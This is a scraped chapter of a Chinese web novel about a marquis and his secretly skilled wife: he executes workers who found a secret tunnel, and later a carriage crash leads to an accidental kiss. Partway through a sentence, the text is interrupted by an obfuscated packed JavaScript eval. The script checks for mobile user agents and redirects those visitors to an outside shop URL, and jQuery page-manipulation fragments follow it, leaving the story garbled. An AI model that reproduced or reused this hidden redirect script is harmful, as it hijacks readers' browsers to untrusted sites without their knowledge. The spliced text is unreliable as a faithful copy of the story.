文趣网 > 其他小说 > 夫人她深藏不露 > 23. 意外亲亲
    季垚将刀拔出,轻声走到他们身后,刀锋抵在脖子上,“别动。”

    方才高喝的人身体立刻僵硬了,他想要转过身,却被季垚的刀鞘挡住动作,“别动!”

    旁边挖石头的人也停了下来,他们看见季垚的脸,立刻将手上的东西扔开,“镇北侯。”其中一人颤抖着嘴唇道。

    被刀抵着的人,此刻后背已经全然被浸湿,他干笑两声,快要哭出来,“侯爷,您怎么来了……您不是要照顾夫人?”

    “你们不是说不知道这里,怎么今日反倒是在这里挖起来了,本侯记得我们没有告诉你们这下面有东西。”

    他的刀更抵近了几分,那人闭了闭眼,汗水顺着皮肤纹路落在刀身,“我们这是……”

    “行了,本侯不想听你们在这里胡说八道。既然知道了这件事情,那你们也没有活下去的必要了。”季垚将刀一拉,那人瞬间没了声。

    其他人见状立马跪了下来,对他磕头。

    “侯爷,我们就是帮老板干事的,我们什么都不知道,您放了我们吧。我们保证绝不乱说。”

    季垚将刀上的血擦在倒在地上人的身上,并不看他们,只道:“只有死人才能永远不乱说。”

    话落,他毫不犹豫地解决了剩下的几个人,沈渡在远处将这一切看得清清楚楚,心中不免升起一股寒意,他若是发现自己还骗了他其他的事情,会不会也这样。

    季垚将刀插回刀鞘,转头正好对上沈渡,“解决了,可有什么麻烦?”

    沈渡摇摇头,冷言道:“都是些孤家寡人,犯了错就该受到该有的惩罚。”

    “出去吧,自今日后这铺子便由你的那个小婢女来掌管。”

    “什么婢女?”他微微歪头,有点没有搞懂沈渡的话。

    她不知他是真不懂还是假不懂,直接言明了,“冬妁。你派来监视我的那个婢女。”

    “好。”季垚抿了抿唇,走到沈渡身边,“此前之事抱歉,那时候只是觉得你的言行很奇怪。”

    沈渡偏开头,拉着他的手,“知道了,走吧。”

    两人出了洞口,秋栎连忙拉住沈渡的手,“娘子没事吧。”

    沈渡微微摇头,“无事。”

    季垚走到十七身边,对他下令道:“进去将尸体都抬出来,找时间处理掉,不要被外人发现了。”

    十七称是,便带人进去处理。

    季垚走到沈渡的身边,“可要回去了?”

    沈渡看了眼身旁的秋栎,秋栎立刻道:“小莫大人收到了陛下发来的密函,需要娘子回一趟形隐司。”

    他并未多想,他扶着沈渡往外走去,“既如此,你们便去吧,我在这里想想办法。”

    “那里面塌的应该很严重,你若是信得过其他人,可以找一些人一起来挖。”沈渡隔着帷帽看他,她又拿起季垚的手,在上面轻轻画了几笔。

    “若是还是信不过,你可以去找这个人。他会帮助你的。”她说完这话,便上了马车扬长而去。

    季垚站在原地,回味了一番方才她所写的内容,又快速走回里间,正要关门时,一双大手挡在了门缝中间。

    “等等!”林青硕将自己的头插进来,“侯爷,让我进来一下。”

    季垚将手松开让他进来,林青硕嘿嘿笑了两下,拱手道:“多谢侯爷。”

    季垚没理他,往里面走去,边道:“事情解决了,现在我们需要一批工人。”

    “我回去问了下人,他们说前几年的时候林府下面发出了一声巨响。父亲他们便猜测是密道塌了。”林青硕跟在他的身后,快速说了一通。

    “他们就没有查过原因,就这么轻松定论了?”季垚有些许震惊,这里面看着塌的不是一星半点,他们竟不来查一查。

    身后的人叹了口气,“找不到密道的入口,他们自然不能查。”

    “行了,本侯知道了。”他们停在进入密道的入口前,“你可有信得过的人?”

    “我?”林青硕思索了片刻,“我这些年都是这种局面了,哪里还有人信得过我。”

    季垚闭了闭眼,“罢了,本侯先想想办法。”

    “侯爷。”十七从里面跑出来,手里拿着几块馒头。

    林青硕有些疑惑,“十七将军,你怎么拿着这东西就出来了,里面是住着人?”

    十七摇了摇头,“属下们在里面查找了一番,并未看见有人。这东西出现的奇怪,侯爷要不咱们先不要继续下去了。先让风头过一过?”

    他看向季垚,询问道。

    季垚沉着脸,道:“先派人在这里暗中守几日,这些日子先别动作了。”

    “是。”十七立刻走到里面去叫人。

    林青硕看着他,面露难色,“侯爷,咱们这也有点太小心了吧。”

    “你几年前被陷害就是因为太粗心,已经遭过一回还不长记性。”季垚道。

    “那还是小心点。”

    季垚微微摇头,转身走了出去。

    ……

    秋栎搀着沈渡走进形隐司,小莫已经在议事厅等着了,见人走来,她立刻起身去迎。

    “司主。”

    “陛下那边说什么了?”沈渡直入主题。

    小莫转身去拿奏折,她双手呈给沈渡,“陛下的意思是,让咱们的人抽一个去做证人。”

    沈渡粗略地看了一番,“让小葵去。”她又顿了下,“她可回来了?”

    “已经回来了,不过她今日出去办事了,明日才来。”小莫道。

    沈渡一锤定音,“那便让她去,记得把事情的经过都告诉她,还有我现如今的身份。别让她漏嘴了。”

    “是。”

    她又想起来今日在密道见到的场面,问她:“对了,那次坍塌你们查出原因了吗,我那时还未回京。”

    小莫摇摇头,“那次坍塌不知到底是谁做的,只知道那家铺子的老板,提心吊胆了许久。”

    “我知道了。”沈渡走到桌案旁,洋洋洒洒写了一串字,“你将这纸条呈交给陛下。”

    “休沐三天?”小莫的眼睛都放大了。

    “因为这次的事情,整个形隐司都忙得不行,若陛下同意了,这几日你们便好好休息,之后依旧能休息。”

    小莫将信纸收到袖中,“属下知道了。”

    “行,那我就先离开了。”沈渡起身便往外走去,秋栎立刻跟上她扶着,两人走至马车旁时,她们看见了急匆匆赶来的季垚。

    沈渡一开始以为自己看错了,她还将帷

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567746|204826||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    帽掀开来看,看清后她确认方才还在办事的人现在已经到了自己眼前。

    季垚自然也看见她,他立刻下马走到沈渡身前,“办完事了?”

    沈渡有点莫名,她点点头,“嗯。”

    “那你如今是要回家,还是做事?”

    她摇头,“没事,我只偶尔接任务。如今伤势未好,是不会继续做事的。”

    “倒是你,方才不是说要去挖石头?”她一脸笑意地看着季垚。

    季垚轻咳了一声,将她拉近了几分,沈渡的身子一僵,季垚的头凑近她的耳边说:“出了点事,停工了。”

    沈渡脑中一片空白,连他说什么都未听见,再回过神时季垚正一脸担心地看着她,“夫人?”

    “什么?侯爷说什么,我方才没听见。”她将季垚拉上马车,“还是在里面说吧,这里面安全点。”

    她又拉开帘子对外面的人道:“秋栎,回府。”

    她回过头看季垚,“侯爷方才说什么?”

    “……我说出了点意外,已经让他们出来了。”

    “意外?”沈渡摘帷帽的动作一停,“那些人不是已经被杀了,又是哪里出了问题。”

    “那里面出现了几块馒头,可十七他们在里面查了许久都未曾找到人。”

    “馒头?”沈渡更加蒙了,“我们进去的时候不是没有,怎么他们去的时候就有了。”

    沈渡清晰的记得那里面除了石头什么都没有,怎么可能会有馒头。

    “你的意思是有卧底?”季垚微微皱眉。

    “等会儿季垚。咱们捋捋。”沈渡抬手作停的动作,“我是隐卫,我对周围的事物察觉能力很强,我能保证我们去的第一次绝没有馒头,出去的时候也没有。”

    “今日和你一起去的那些人,是否都是你信任的人?”

    季垚摇头,“有一个是父亲的人。”

    沈渡两手一拍,“如此便对了,很有可能你父亲已经开始阻挡你了,他是不想让你继续查下去的。”

    “反正……”沈渡话还未说完,马车忽然一翻,她的身体向着季垚的方向摔去。

    季垚双手接住她的腰帮助沈渡缓冲,让腰不被伤到。

    也是因为这一抱两人的唇瓣贴住了对方的唇瓣,两人皆是一懵。

    良久外面传来秋栎的叫声,“娘子,侯爷,你们没事吧。”

    车帘被掀开,沈渡立马偏开头,顺势将头埋在季垚的臂弯内。

    季垚:“没事。外面发生了什么?”

    秋栎将他们扶出去,视线对上坐在马上的黑衣人。

    那人率先开了口,表面看着是道歉,但他却是笑着说的,“原来是侯爷的车驾,真是对不住啊,马儿失控了。”

    沈渡认出他是明阳王的长子宁臻,她立马给季垚说:“他是明阳王的长子宁臻,平时在京城经常惹事,你要不别理他。”

    季垚轻嗤一声,“怎么能不理,他就是故意撞的我们。估计是想要做点什么。”

    说罢他便走上前一步,“敢问来者大名?宁臻?”

    宁臻并未理他,而是一副高傲的模样。

    季垚也不恼,他拱手对宁臻行了一礼:

    “是在下错了,还望世子莫怪。”